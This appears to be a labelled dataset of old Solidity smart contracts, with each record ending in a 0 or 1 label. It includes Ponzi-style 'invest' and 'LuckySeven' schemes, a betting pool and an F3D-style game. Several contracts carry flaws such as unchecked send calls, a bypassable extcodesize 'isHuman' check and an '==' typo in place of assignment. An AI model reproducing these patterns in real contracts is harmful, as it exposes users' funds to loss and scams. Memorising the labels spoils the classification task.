block.number <= expires
)) return 0;
uint available1 = safeSub(amountGet, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8, bytes32, bytes32) public constant returns(uint) {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) public {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
if (!(orders[msg.sender][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == msg.sender)) revert();
orderFills[msg.sender][hash] = amountGet;
emit Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
} | 1 | 2,202 |
pragma solidity ^0.4.0;
contract EtherSphere {
mapping(address => uint) bidPool;
address[] public bidders;
address highestBidder;
uint bidderArraySize;
uint public numBidders;
uint public minBid;
uint public interval = 1 days;
uint public rewardPool;
uint public todaysBidTotal;
uint public endOfDay;
uint public previousRoundJackpot;
uint public highestBid;
uint public minBidMultiplier = 10;
uint public jackpotConditionPercent = 105;
uint public maxBidPercent;
function EtherSphere(){
etherSphereHost = msg.sender;
minBid = 0.01 ether;
rewardPool = 0;
cost = 0;
numBidders = 0;
todaysBidTotal = 0;
previousRoundJackpot = 0;
highestBid = 0;
bidderArraySize = 0;
maxBidPercent = 100;
endOfDay = now + interval;
}
function inject() ismain payable{
rewardPool += msg.value;
}
function addEtherToSphere() private{
if (msg.value < minBid) throw;
if (triggerPreJackpotLimit()) throw;
bidPool[msg.sender] += msg.value;
if (bidPool[msg.sender] > highestBid) {
highestBid = bidPool[msg.sender];
highestBidder = msg.sender;
}
todaysBidTotal += msg.value;
}
function triggerPreJackpotLimit() private returns(bool){
if (maxBidPercent == 100) return false;
bool willBidExceedPreJackpotLimit = rewardPool * maxBidPercent / 100 < msg.value + bidPool[msg.sender];
bool willBePostJackpot = (todaysBidTotal + msg.value) >= (rewardPool * jackpotConditionPercent / 100);
return willBidExceedPreJackpotLimit && !willBePostJackpot;
}
function () payable{
if (shouldCompleteDay()) completeDay();
recordSenderIfNecessary();
addEtherToSphere();
}
function recordSenderIfNecessary() private{
if (bidPool[msg.sender] == 0){
setMinBid();
if (msg.value < minBid) throw;
if (numBidders >= bidderArraySize){
bidders.push(msg.sender);
numBidders++;
bidderArraySize++;
}
else {
bidders[numBidders] = msg.sender;
numBidders++;
}
setMinBid();
}
}
function completeDay() private{
if (doTriggerJackpot()) {
triggerJackpot();
}
else {
previousRoundJackpot = 0;
}
if (numBidders > 0) {
distributeReward();
fees();
endOfDay = endOfDay + interval;
}
else {
endOfDay = endOfDay + interval;
return;
}
uint poolReserved = todaysBidTotal / 20;
rewardPool = todaysBidTotal - poolReserved;
cost += poolReserved;
todaysBidTotal = 0;
highestBid = 0;
numBidders = 0;
}
function doTriggerJackpot() private constant returns (bool){
return numBidders > 0 && todaysBidTotal > (rewardPool * jackpotConditionPercent / 100);
}
function distributeReward() private{
uint portion = 0;
uint distributed = 0;
for (uint i = 0; i < numBidders; i++){
address bidderAddress = bidders[i];
if (i < numBidders - 1){
portion = bidPool[bidderAddress] * rewardPool / todaysBidTotal;
}
else {
portion = rewardPool - distributed;
}
distributed += portion;
bidPool[bidderAddress] = 0;
sendPortion(portion, bidderAddress);
}
}
function triggerJackpot() private{
uint rewardAmount = rewardPool * 35 / 100;
rewardPool -= rewardAmount;
previousRoundJackpot = rewardAmount;
sendPortion(rewardAmount, highestBidder);
}
function sendPortion(uint amount, address target) private{
target.send(amount);
}
function shouldCompleteDay() private returns (bool){
return now > endOfDay;
}
function containsSender() private constant returns (bool){
for (uint i = 0; i < numBidders; i++){
if (bidders[i] == msg.sender)
return true;
}
return false;
}
function setMinBid() private{
uint bid = 0.001 ether;
if (numBidders > 5){
bid = 0.01 ether;
if (numBidders > 50){
bid = 0.02 ether;
if (numBidders > 100){
bid = 0.05 ether;
if (numBidders > 150){
bid = 0.1 ether;
if (numBidders > 200){
bid = 0.5 ether;
if (numBidders > 250){
bid = 2.5 ether;
if (numBidders > 300){
bid = 5 ether;
if (numBidders > 350){
bid = 10 ether;
}
}
}
}
}
}
}
}
minBid = minBidMultiplier * bid;
}
address etherSphereHost;
uint cost;
function manualEndDay() ismain payable{
if (shouldCompleteDay()) completeDay();
}
function changeMinBidMultiplier(uint bidMultiplier) ismain payable{
minBidMultiplier = bidMultiplier;
}
function changePreJackpotBidLimit(uint bidLimit) ismain payable{
if (bidLimit == 0) throw;
maxBidPercent = bidLimit;
}
modifier ismain() {
if (msg.sender != etherSphereHost) throw;
_;
}
function fees() private {
if (cost == 0) return;
etherSphereHost.send(cost);
cost = 0;
}
function _fees() ismain payable{
fees();
}
function end() ismain payable{
if (now > endOfDay + 7 * interval && msg.sender == etherSphereHost)
suicide(etherSphereHost);
}
} | 0 | 2,031 |
pragma solidity ^0.4.25;
contract invest{
mapping (address => uint256) invested;
mapping (address => uint256) dateInvest;
uint constant public FEE = 3;
uint constant public ADMIN_FEE = 1;
uint constant public REFERRER_FEE = 1;
address private owner;
address private adminAddr;
bool private stopInvest;
constructor() public {
owner = msg.sender;
adminAddr = msg.sender;
stopInvest = false;
}
function () external payable {
address sender = msg.sender;
require( !stopInvest, "invest stop" );
if (invested[sender] != 0) {
uint256 amount = getInvestorDividend(sender);
if (amount >= address(this).balance){
amount = address(this).balance;
stopInvest = true;
}
sender.send(amount);
}
dateInvest[sender] = now;
invested[sender] += msg.value;
if (msg.value > 0){
address ref = bytesToAddress(msg.data);
adminAddr.send(msg.value * ADMIN_FEE / 100);
if (ref != sender && invested[ref] != 0){
ref.send(msg.value * REFERRER_FEE / 100);
}
}
}
function getInvestorDividend(address addr) public view returns(uint256) {
return invested[addr] * FEE / 100 * (now - dateInvest[addr]) / 1 days;
}
function bytesToAddress(bytes bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
} | 0 | 1,788 |
pragma solidity ^0.4.18;
interface token {
function transfer(address receiver, uint amount) public;
function getBalanceOf(address _owner) public constant returns (uint256 balance);
}
contract Presale {
address public beneficiary;
uint public fundingLimit;
uint public amountRaised;
uint public deadline;
uint public tokensPerEther;
uint public minFinnRequired;
uint public startTime;
token public tokenReward;
mapping(address => uint256) public balanceOf;
event FundTransfer(address backer, uint amount, bool isContribution);
function Presale(
address ifSuccessfulSendTo,
uint fundingLimitInEthers,
uint durationInMinutes,
uint tokensPerEthereum,
uint minFinneyRequired,
uint presaleStartTime,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
fundingLimit = fundingLimitInEthers * 1 ether;
deadline = presaleStartTime + durationInMinutes * 1 minutes;
tokensPerEther = tokensPerEthereum;
minFinnRequired = minFinneyRequired * 1 finney;
startTime = presaleStartTime;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable public {
require(startTime <= now);
require(amountRaised < fundingLimit);
require(msg.value >= minFinnRequired);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount * tokensPerEther);
FundTransfer(msg.sender, amount, true);
}
function withdrawFundBeneficiary() public {
require(now >= deadline);
require(beneficiary == msg.sender);
uint remaining = tokenReward.getBalanceOf(this);
if(remaining > 0) {
tokenReward.transfer(beneficiary, remaining);
}
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
revert();
}
}
} | 0 | 729 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract AccessControlledBase {
mapping (address => bool) public authorized;
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
uint256 public GRACE_PERIOD_EXPIRATION;
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
} | 1 | 4,183 |
pragma solidity ^0.4.24;
contract LuckySeven {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 7;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.5 ether;
address public ownerWallet;
address public owner;
bool public gameStarted;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function startGame() public onlyOwner {
gameStarted = true;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
require(gameStarted);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(85).div(1000));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(35).div(1000));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,822 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract IntroToken is StandardToken {
string public name = "INTRO Token";
string public symbol = "ITR";
uint8 public decimals = 18;
uint256 public constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals));
function IntroToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 1 | 3,429 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DPLUS is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x309748032600f3554776697a6a6610f61f568597);
address private admin = msg.sender;
string constant public name = "f3dplus";
string constant public symbol = "f3dplus";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0 minutes;
uint256 constant private rndInit_ = 3 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 3 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(35,0);
fees_[1] = F3Ddatasets.TeamFee(36,0);
fees_[2] = F3Ddatasets.TeamFee(55,0);
fees_[3] = F3Ddatasets.TeamFee(41,0);
potSplit_[0] = F3Ddatasets.PotSplit(45,0);
potSplit_[1] = F3Ddatasets.PotSplit(45,0);
potSplit_[2] = F3Ddatasets.PotSplit(45,0);
potSplit_[3] = F3Ddatasets.PotSplit(45,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(35)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
